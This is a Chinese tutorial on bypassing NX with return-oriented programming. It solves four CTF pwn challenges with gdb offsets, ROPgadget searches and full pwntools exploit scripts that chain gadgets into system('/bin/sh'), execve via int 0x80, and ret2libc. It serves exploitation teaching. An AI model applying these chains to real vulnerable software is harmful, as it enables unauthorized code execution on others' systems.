二进制安全之NX绕过方法–ROP技术

原文地址
在之前的缓冲区溢出的实验中,溢出到栈中的shellcode可以直接被系统执行,给系统安全带来了极大的风险,因此NX技术应运而生,该技术是一种在CPU上实现的安全技术,将数据和命令进行了区分,被标记为数据的内存页没有执行权限,因此即使将恶意shellcode写入到执行流程中也会因缺少执行权限而利用失败,在一定程度上提高了系统的安全性,但是所有安全都是绝对的,一种名为ROP(Return-Oriented Programming)的技术就能绕过这项安全措施,ROP的核心思想是利用retjmpcall等指令(主要是ret)来连接代码的上下文从而改变程序执行流程的一项技术,由于ret指令的功能是将当前的栈顶数据弹出到EIP中并跳转执行,我们可以在栈中精心构造一些以ret结尾的特殊指令(gadget)使系统跳转到我们在栈中放置的指令的位置,进而执行这些指令,达到攻击的效果。

64位ELF的ROP

先拿一道bugs bunny ctf 2017pwn150来说:

题目下载

这是一个64位的ELF文件且程序开启了NX:

放到IDA里可以很容易发现Hello()函数中存在溢出漏洞:

现看一下溢出的情况,可以使用IDA的远程调试来看看再发生溢出后寄存器的数据,IDA远程调试教程

点击运行程序,向程序中输入如下字符串:

gdb-peda$ pattern_creat 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

回车之后IDA报错,段错误,查看此时寄存器中的数值:

栈内数据如下:

此时RSP寄存器中的值为41416741414B4141,ASCII转化一下就是AAgAAKAA,按照存储方式倒序就是AAKAAgAA,查看偏移量为88:

gdb-peda$ pattern_offset AAKAAgAA
AAKAAgAA found at offset: 88

至此我们找到了到达RSP的距离,如果想实现system("/bin/sh")起shell还需要找到system()函数的位置和字符串/bin/sh,和一个gadgetgadget是指程序中我们可以利用的代码片段,由于本程序为64位程序,在运行时与32位程序不同,64位程序的前六个整型或指针参数依次保存在RDIRSIRDXRCXR8R9这六个寄存器中,多出来的参数才会入栈,因此我们按照ROP的思路,需要找到的gadgetpop rdi , ret

system()的位置可以在main函数中的一个today()中找到:

.text:0000000000400756 ; __unwind {.text:0000000000400756                 push    rbp
.text:0000000000400757                 mov     rbp, rsp
.text:000000000040075A                 mov     edi, offset command ; "/bin/date"
.text:000000000040075F                 call    _system
.text:0000000000400764                 nop
.text:0000000000400765                 pop     rbp
.text:0000000000400766                 retn
.text:0000000000400766 ; } // starts at 400756
.text:0000000000400766 today           endp
.text:0000000000400766

地址为000000000040075F

/bin/sh可以在Hello的输出语句的shorry中找到一个sh

地址为00000000004008fb

本来还想着这里怎么打错了,原来是留了后门啊,也可以在函数名中找到:

地址为00000000004003ef

寻找目标gadget可用此程序:ROPgadget

⚡ root@kali ROPgadget --binary pwn150 | grep "pop rdi"
0x0000000000400883 : pop rdi ; ret

找到了以上的地址,可以构造脚本了:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux', timeout = 1)io = process("./pwn150")system = 0x40075f
binsh = 0x4003ef
pop_rdi_ret = 0x400883  payload="A"*88
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(system)io.sendline(payload)
io.interactive()

漏洞利用成功,再解释一下为什么 要这样构造脚本:

首先发送了88个字节填充无用空间,在88个字节之后的数据gadget会存储在ESP所指的内存区域,此时系统会执行gadget的指令pop rdi ; retrsp+8,通过pop rdi/bin/sh弹出到RDI寄存器中,rsp+8rsp此时指向system(),之后会执行ret,因为此时RSP指向system(),系统会调用system()函数并将rdi中的值作为参数传到system()中从而执行system("/bin/sh")

无system函数时调用int 0x80完成ROP

上文中的例子是程序中有system函数调用的情况,但是如果程序中没有system函数的调用应该怎么办呢?

我们可以使用int 0x80来进行系统中断

启动系统调用需要使用INT指令。linux系统调用位于中断0x80,执行INT指令时,所有操作转移到内核中的系统调用处理程序,完成后执行转移到INT指令之后的下一条指令。操作系统实现系统调用的基本过程是:

  • 应用程序调用库函数(API);
  • API将系统调用号存入EAX,然后通过中断调用使系统进入内核态;
  • 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  • 系统调用完成相应功能,将返回值存入EAX,返回到中断处理函数;
  • 中断处理函数返回到API中;
  • API将EAX返回给应用程序。
  • 寄存器eax存放调用号,剩下的几个寄存器存放参数。

Tamu CTF 2018pwn5来说:

题目下载

看一下开启的安全措施:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

IDA看一下:

int first_day_corps()
{int result; // eaxprintf("You wake with a start as your sophomore yells \"Wake up fish %s! Why aren't you with your buddies in the fallout hole?\"\n");puts("As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.");puts("You spend your morning excersizing and eating chow.");puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");getchar();result = (char)getchar();if ( result == 50 ){printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");printf("What do you change your major to?: ");result = change_major();}else if ( result > 50 ){if ( result == 51 ){result = puts("You succumb to the sweet calling of your rack and decide that sleeping is more important than class at the moment.");}else if ( result == 52 ){puts("You realize that the corps dorms are probably not the best place to be studying and decide to go to the library");result = printf("Unfortunately the queitness of the library works against you and as you are studying %s related topics ""you start to doze off and fall asleep\n");}}else if ( result == 49 ){puts("You go to class and sit front and center as the Corps academic advisors told you to do.");printf("As the lecturer drones on about a topic that you don't quite understand in the field of %s you feel yourself begin""ning to drift off.\n");result = puts("You wake with a start and find that you are alone in the lecture hall.");}return result;
}

这道题的英文部分是真的多,分析一圈下来发现这些都是些没有什么作用的输出语句,漏洞存在于change_major()函数:

找到漏洞之后我们可以构造ROP了,由于这个程序中没有system函数,我们需要找到int 0x80系统中断,可用ROPgadget

⚡ root@kali ROPgadget --binary pwn5 | grep "int 0x80"
0x08071003 : add byte ptr [eax], al ; int 0x80
0x08071001 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x08071005 : int 0x80  //  <=======这里
0x08070ffe : invd ; mov eax, 1 ; int 0x80
0x0807ed3a : ja 0x807ed40 ; add byte ptr [eax], al ; int 0x80
0x080bb0a6 : js 0x80bb0b0 ; int 0x80
0x080bb172 : js 0x80bb17b ; int 0x80
0x08070ffc : lock or dword ptr [edi], ecx ; or byte ptr [eax + 1], bh ; int 0x80
0x0807ed39 : mov eax, 0x77 ; int 0x80
0x0807ed30 : mov eax, 0xad ; int 0x80
0x08071000 : mov eax, 1 ; int 0x80
0x0807398f : nop ; int 0x80
0x0807ed2f : nop ; mov eax, 0xad ; int 0x80
0x0807398e : nop ; nop ; int 0x80
0x0807398c : nop ; nop ; nop ; int 0x80
0x0807398a : nop ; nop ; nop ; nop ; int 0x80
0x08073988 : nop ; nop ; nop ; nop ; nop ; int 0x80
0x0807ed37 : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x08070fff : or byte ptr [eax + 1], bh ; int 0x80
0x08070ffd : or dword ptr [edi], ecx ; or byte ptr [eax + 1], bh ; int 0x80
0x0807ed38 : pop eax ; mov eax, 0x77 ; int 0x80
0x080bb0a7 : push es ; int 0x80

找到int 8后需要找到执行系统调用的函数,在http://syscalls.kernelgrok.com/ 上有详细的参数,我们要调用
sys_execve :

execve("/bin/sh",NULL,NULL)
  • 系统调用号eax应该为0xb
  • 第一个参数ebx应该指向/bin/sh的地址,或者指向sh的地址
  • 第二个参数ecx应该为0
  • 第三个参数edx应该为0

因此我们需要找到控制这几个寄存器的gadgetpop eax ; pop ebx ; pop ecx ; pop edx ; ret

⚡ root@kali ROPgadget --binary pwn5 --only 'pop|ret' | grep 'eax'
0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  //<=====
0x080a150a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bc396 : pop eax ; ret
0x080a1509 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

我们可以用这一条0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

没有ecx,在找一下pop ecx

⚡ root@kali ROPgadget --binary pwn5 --only 'pop|ret' | grep 'ecx'
0x0804b99a : pop dword ptr [ecx] ; ret
0x080733b1 : pop ecx ; pop ebx ; ret //<=====
0x080e4325 : pop ecx ; ret
0x080733b0 : pop edx ; pop ecx ; pop ebx ; ret

用这一个:0x080733b1 : pop ecx ; pop ebx ; ret

寻找溢出

[----------------------------------registers-----------------------------------]
EAX: 0x1f
EBX: 0x80481b0 (<_init>:  push   ebx)
ECX: 0x7fffffe1
EDX: 0x80f14d4 --> 0x0
ESI: 0x80f000c --> 0x806a620 (<__strcpy_sse2>: mov    edx,DWORD PTR [esp+0x4])
EDI: 0x5e ('^')
EBP: 0x413b4141 ('AA;A')
ESP: 0xffffd130 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41412941 ('A)AA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412941
[------------------------------------stack-------------------------------------]
0000| 0xffffd130 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffffd134 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffffd138 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffffd13c ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0016| 0xffffd140 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0020| 0xffffd144 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0024| 0xffffd148 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0028| 0xffffd14c ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412941 in ?? ()
gdb-peda$ pattern_offset A)AA
A)AA found at offset: 32

随便找了一个sh,地址为0x80BF5C8

到这里就可以愉快的写脚本了:

#!/usr/bin/python
#coding : utf-8
from pwn import *
io = process("./pwn5")sh=0x080BF5C8         #"sh"
pop1=0x08095ff4       #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop2=0x080733b1       #pop ecx ; pop ebx ; ret
int_80=0x08071005     #int 0x80payload=""
payload+="A"*32
payload+=p32(pop1)    #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload+=p32(0xb)
payload+=p32(sh)
payload+=p32(0)
payload+=p32(0)
payload+=p32(sh)
payload+=p32(pop2)    #pop ecx ; pop ebx ; ret
payload+=p32(0)
payload+=p32(sh)
payload += p32(int_80)io.sendline("A")
io.sendline("A")
io.sendline("A")
io.sendline("y")
io.sendline("2")io.sendline(payload)
io.interactive()

运行此脚本时发现并不能成功getshell,猜想是sh字符串的问题,于是尝试换一个方法,向程序输入/bin/sh,找到在bss段的存储位置:

.bss:080F1A04                                         ; change_major+33↑o ...
.bss:080F1A20                 public first_name
.bss:080F1A20 first_name      db    ? ;               ; DATA XREF: print_beginning+51↑o
.bss:080F1A20                                         ; print_beginning+66↑o ...
.bss:080F1A21                 db    ? ;
.bss:080F1A22                 db    ? ;

于是将脚本改为

#!/usr/bin/python
#coding : utf-8
from pwn import *
io = process("./pwn5")bin_sh = 0x080f1a20     #"/bin/sh"
pop1 = 0x08095ff4       #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop2 = 0x080733b1       #pop ecx ; pop ebx ; ret
int_80 = 0x08071005     #int 0x80payload = ""
payload += "A" * 32
payload += p32(pop1)    #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += p32(0xb)
payload += p32(bin_sh)
payload += p32(0)
payload += p32(0)
payload += p32(bin_sh)
payload += p32(pop2)    #pop ecx ; pop ebx ; ret
payload += p32(0)
payload += p32(bin_sh)
payload += p32(int_80)io.sendline("/bin/sh")
io.sendline("A")
io.sendline("A")
io.sendline("y")
io.sendline("2")io.sendline(payload)
io.interactive()

getshell成功:

小结:

调用系统中断来绕过NX的方法总的来说不算难,要能从程序中找到int 0x80并能找到能改变要调用的函数的参数的指令,然后依次传参利用即可?

使用Got表中的函数进行ROP

题目下载

这是一道来自RedHat 2017的题目pwn1

使用IDA可以很容易发现此程序的main()函数存在栈溢出,伪C代码如下:

int __cdecl main()
{int v1; // [esp+18h] [ebp-28h]puts("pwn test");fflush(stdout);__isoc99_scanf("%s", &v1);printf("%s", &v1);return 1;
}

程序开启了NX,也就是说我们不能直接把shellcode写到栈中执行,因此向我们找一下获取flag的途径,在IDA中可以看到程序调用了system()函数,另外程序中有scanf(),因此我们可以考虑通过scanf()函数将/bin/sh字符串读取到栈中并通过构造ROP链使得程序执行system("/bin/sh")从而get flag

.rodata:08048620 s               db 'pwn test',0         ; DATA XREF: main+9↑o
.rodata:08048629 ; char format[]
.rodata:08048629 format          db '%s',0               ; DATA XREF: main+2A↑o
.rodata:08048629                                         ; main+3E↑o
.rodata:08048629 _rodata         ends
.rodata:08048629

scanf()的参数%s的位置为08048629

程序本身并没有可以用来起shell的字符串,因此我们需要通过scanf把/bin/sh写入到内存页中,但是并不是所有的内存页都能写入,我们可以使用IDA的快捷键ctrl+S查看内存页的情况

可见在0804A030有一块可读可写且长度足够的空间我们可以把/bin/sh写到这里面

通过pattern模块可知padding52,可得脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *p=process('./pwn1')
elf=ELF('./pwn1')
scanf_addr=p32(elf.symbols['__isoc99_scanf'])
system_addr=p32(elf.symbols['system'])
baifenhao_s=p32(0x08048629)
binsh_addr=p32(0x0804A030)payload="A"*52         #构造padding
payload+=scanf_addr    #覆盖EIP的值为scanf的函数地址
payload+=baifenhao_s   #scanf的第一个参数:%s
payload+=binsh_addr    #scanf的第二个参数:地址
......

这里出现一些问题如果我们直接像上面那样写脚本的话,在EIP指向scanf()的时候,call __isoc99_scanf之后,ret指令会将call指令压入栈中的地址取出给EIP,但是我们向上面那样构造脚本并没有模拟出call指令的压栈操作,因此我们需要把脚本修改一下,在scanf()的地址和scanf()的参数之间加上一个scanf()调用完成之后的返回地址,由于我们需要调用过scanf()之后再调用system()函数,因此我们可以把这个地址修改为main()函数的地址以便于进行第二次栈溢出执行system()函数,示意图如下

+----------------+                      +----------------+
|   scanf_addr   |                      |   scanf_addr   |
+----------------+                      +----------------+
|   baifenhao_s  |     ========>        |   main_addr    |
+----------------+      修改为:         +----------------+
|   binsh_addr   |                      |   baifenhao_s  |
+----------------+                      +----------------+|   binsh_addr   | +----------------+

main()函数地址为08048531

.text:08048531 ; =============== S U B R O U T I N E =======================================
.text:08048531
.text:08048531 ; Attributes: bp-based frame
.text:08048531
.text:08048531 ; int __cdecl main(int, char **, char **)
.text:08048531 main            proc near               ; DATA XREF: start+17↑o
.text:08048531 ; __unwind {.text:08048531                 push    ebp
.text:08048532                 mov     ebp, esp

因此脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *p=process('./pwn1')
elf=ELF('./pwn1')
scanf_addr=p32(elf.symbols['__isoc99_scanf'])
system_addr=p32(elf.symbols['system'])
main_addr=p32(0x08048531)
baifenhao_s=p32(0x08048629)
binsh_addr=p32(0x0804A030)payload1="A"*52         #构造padding
payload1+=scanf_addr    #覆盖EIP的值为scanf的函数地址
payload1+=main_addr     #ret到main()
payload1+=baifenhao_s   #scanf的第一个参数:%s
payload1+=binsh_addr    #scanf的第二个参数:地址payload2="B"*44         #构造padding,ebp-8,所以padding-8
payload2+=system_addr   #覆盖EIP的值为system的函数地址
payload2+=main_addr     #system函数的返回地址,无需考虑,可随意填充
payload2+=binsh_addr    #binsh字符串的地址充当system()函数的参数p.sendline(payload1)
p.sendline("/bin/sh")
p.sendline(payload2)
p.interactive()

效果:

ROP之ret2libc

题目下载

有时候题目所给的程序中并没有可以直接拿来用的函数地址或者字符串,但是给了libc文件,这个文件中包含我们能用到的函数,因此我们可以通过计算相应的函数地址在libc中的偏移量来计算出libc映射到程序中的起始地址,进而利用libc中的其他函数

Security Fest CTF 2016tvstation中,主要逻辑如下

void __noreturn menu()
{signed int v0; // eaxwhile ( 1 ){while ( 1 ){print_menu();v0 = (char)get_one();if ( v0 != 50 )break;user();}if ( v0 > 50 ){if ( v0 == 51 ){puts("Disconnected!");exit(0);}if ( v0 == 52 )debug();else
LABEL_13:puts("Invalid option!");}else{if ( v0 != 49 )goto LABEL_13;uptime();}}
}

这里面有一个debug()函数:

__int64 debug()
{void *v0; // ST08_8size_t v1; // raxputs("\n=== TV Station - Debug Menu ===");v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "system");sprintf(fmsg, info, v0);v1 = strlen(fmsg);write(1, fmsg, v1);return debug_func(1LL, fmsg);
}

此函数会直接泄露system()在此程序中加载的位置

system()libc的偏移量为00000000000456A0:

.text:00000000000456A0 ; =============== S U B R O U T I N E =======================================
.text:00000000000456A0
.text:00000000000456A0
.text:00000000000456A0                 public system ; weak
.text:00000000000456A0 system          proc near               ; DATA XREF: LOAD:0000000000007438↑o
.text:00000000000456A0                                         ; LOAD:000000000000BC68↑o
.text:00000000000456A0 ; __unwind {.text:00000000000456A0                 test    rdi, rdi
.text:00000000000456A3                 jz      short loc_456B0
.text:00000000000456A5                 jmp     sub_45130

/bin/sh的偏移地址000000000018AC40:

.rodata:000000000018AC40 aBinSh          db '/bin/sh',0          ; DATA XREF: sub_45130+451↑o
.rodata:000000000018AC40                                         ; _IO_proc_open+2F9↑o ...

有了system()/bin/sh的偏移地址后我们需要一个gadget来给system()传参:

⚡ root@kali ROPgadget --binary tvstation | grep "pop rdi"
0x0000000000400c13 : pop rdi ; ret

因此可以构造脚本如下:

#!/usr/bin/python
#coding:"utf-8"
from pwn import *io=process('./tvstation')
#elf=ELF('./libc.so.6_x64')io.recvuntil(": ")
io.sendline('4')                  #跳转到debug()
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16) #读取输出的system函数在内存中的地址
libc_start = system_addr - 0x456a0 #根据偏移计算libc在内存中的首地址
pop_rdi_addr = 0x400c13    #pop rdi; ret 在内存中的地址,给system函数传参
binsh_addr = libc_start + 0x18AC40    #"/bin/sh"字符串在内存中的地址payload = ""
payload += 'A'*40                   #padding
payload += p64(pop_rdi_addr)      #pop rdi; ret
payload += p64(binsh_addr)            #system函数参数
payload += p64(system_addr)           #调用system()执行system("/bin/sh")io.sendline(payload)
io.interactive()

⌛待更新…

二进制安全之NX绕过方法--ROP技术相关推荐

  1. Windows内存保护机制及绕过方法

    0 目录 GS编译 SafeSEH机制 SEH覆盖保护 数据执行保护(DEP) 地址随机化(ASLR) 1 GS编译 1.1 基本原理 Windows操作系统为解决栈溢出漏洞的问题引入了一个对策--G ...

  2. windows溢出保护原理与绕过方法概览(转自riusksk's blog(泉哥))

    前言 从20世纪80年代开始,在国外就有人开始讨论关于溢出的攻击方式.但是在当时并没有引起人们的注意,直至后来经一些研究人员的披露后,特别是著名黑客杂 志Phrack上面关于溢出的经典文章,引领许多人 ...

  3. pwn学习资料整理——ROP技术

    ROP(Return-Oriented Programming, 返回导向编程) 通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术. 所以,首先,你 ...

  4. SAP开发环境ABAP的搭建(客户端和服务器),Developer Key和AccessKey的绕过方法

    目录 一.前言 二.客户端GUI安装 1.下载好SAP GUI 750 2.解压后找到SAPGUISetup.exe 3.安装 4.安装完整教程 三.服务端搭建 1.安装VmWare虚拟机 2.下载虚 ...

  5. mysql 绕过空格_SQL注入篇-绕过方法

    检测目标网站****时,利用下图所示的unicode编码方式中的空格编码绕过检测. 在使用order by **进行注入判断时,使用%c0%20.%c0%a0这两种空格的编码对网站进行注入均无果(对网 ...

  6. OpenRASP xss算法的几种绕过方法

    openrasp默认只能检测反射型XSS,存储型XSS仅IAST商业版支持.对于反射型xss,openrasp也只能检测可控输出点在html标签外的情况,本文的绕过方法是针对这种情况.如果可控输出点在 ...

  7. WAF机制及绕过方法总结:注入篇

    本篇文章主要介绍WAF的一些基本原理,总结常见的SQL注入Bypass WAF技巧.WAF是专门为保护基于Web应用程序而设计的,我们研究WAF绕过的目的一是帮助安服人员了解渗透测试中的测试技巧,而是 ...

  8. 计算机软件研究方法与技术路线,开题报告研究方法与技术路线.doc

    开题报告研究方法与技术路线 (一)研究方法与步骤 本项目的研究主要采用行动研究.实验研究.评价研究等方法. 对于较大规模的教学设计与教学模式的试验研究,将采用行动研究方法. 对于个别带有创新性的,能提 ...

  9. 可行性分析(研究方法、技术路线、实验手段、关键技术)、学位论文研究的工作条件

    开题报告 1.学位论文研究的目的.意义 2.目前国内外的研究现状 3.学位论文研究的主要内容 4.学位论文研究的方案及可行性分析(包括研究方法.技术路线.实验手段.关键技术等说明) 5.创新点和关键问 ...

最新文章

  1. 从零开始编写自己的C#框架(16)——Web层后端父类
  2. 认知与设计:理解UI设计准则——序
  3. Java 判断字符串是否为空的四种方法、优缺点与注意事项
  4. Nuxt使用高德地图
  5. 四则运算栈c语言程序,四则运算   c语言编程
  6. 读取Excel文件数据
  7. 如何对AWS RDS SQL Server数据库进行分类
  8. python自动写工作日志_python自动化执行重复工作
  9. 学习机器学习,需要具备什么的数学基础?
  10. 【渗透测试笔记】之【免杀工具——使用Invoke-Obfuscation代码混淆免杀powershell】
  11. D. Count GCD
  12. matlab 对数回归,[线性模型] 对数几率回归(Logistic Regression)
  13. 在线JSON格式化美化
  14. python 文本分析教程_《Python机器学习基础教程》七、处理文本数据
  15. b站首页banner景深移动特效 bilibili秋
  16. ssrender例子
  17. CSR8670项目实战:BlueHeart心率监测耳机
  18. Stata字符型数据转为数值型数据
  19. P2197 nim博弈
  20. 【微信小程序常识】如何发布微信小程序体验版

热门文章

  1. android 手机误删短信恢复软件,误删除短信恢复大师 for android v4.1 安卓版 恢复Android手机上误删除的短信记录的软件...
  2. 华为超融合FusionCube解决方案笔记
  3. Python3安装bz2
  4. 把妹之道于品牌营销“精屁”
  5. 【转】程序员10大境界【走在路上,潜心修行】
  6. 免费AZ-900学习资料
  7. 计算机操作测试题及答案,计算机操作系统期末考试题及答案-
  8. 【英语口语】01 - 原子介绍
  9. c语言一维数组字符串数组初始化,一维数组的定义、初始化和引用
  10. 【用友T3】创建账套